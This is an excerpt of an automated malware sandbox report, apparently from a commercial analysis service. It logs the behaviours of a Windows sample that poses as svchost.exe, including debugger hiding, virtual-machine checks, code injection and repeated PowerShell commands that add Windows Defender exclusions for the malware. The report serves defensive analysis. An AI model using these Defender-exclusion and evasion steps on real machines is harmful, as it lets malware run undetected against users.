Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Section loaded: OutputDebugStringW count: 230
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Section loaded: OutputDebugStringW count: 115

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.lfQuSBwdSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3193	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2412	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2279	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2611	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1755	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1706	Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe TID: 3156	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3032	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3032	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 492	Thread sleep count: 2279 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2576	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5364	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2224	Thread sleep count: 2611 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 464	Thread sleep count: 1755 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6332	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5572	Thread sleep count: 1706 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6288	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe TID: 6532	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe TID: 6912	Thread sleep count: 100 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 63 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5080	Thread sleep count: 35 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 39 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000004.00000002.253983082.0000015A16F40000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: lfQuSBwdSf.exe, 00000000.00000002.339679694.000000000134F000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk
Source: svchost.exe, 00000004.00000002.253983082.0000015A16F40000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: svchost.exe, 00000004.00000002.253983082.0000015A16F40000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svchost.exe, 00000004.00000002.253983082.0000015A16F40000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process token adjusted: Debug
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force

Injects a PE file into a foreign processes

Show sources

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Memory written: unknown base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process created: C:\Users\user\Desktop\lfQuSBwdSf.exe C:\Users\user\Desktop\lfQuSBwdSf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Users\user\Desktop\lfQuSBwdSf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
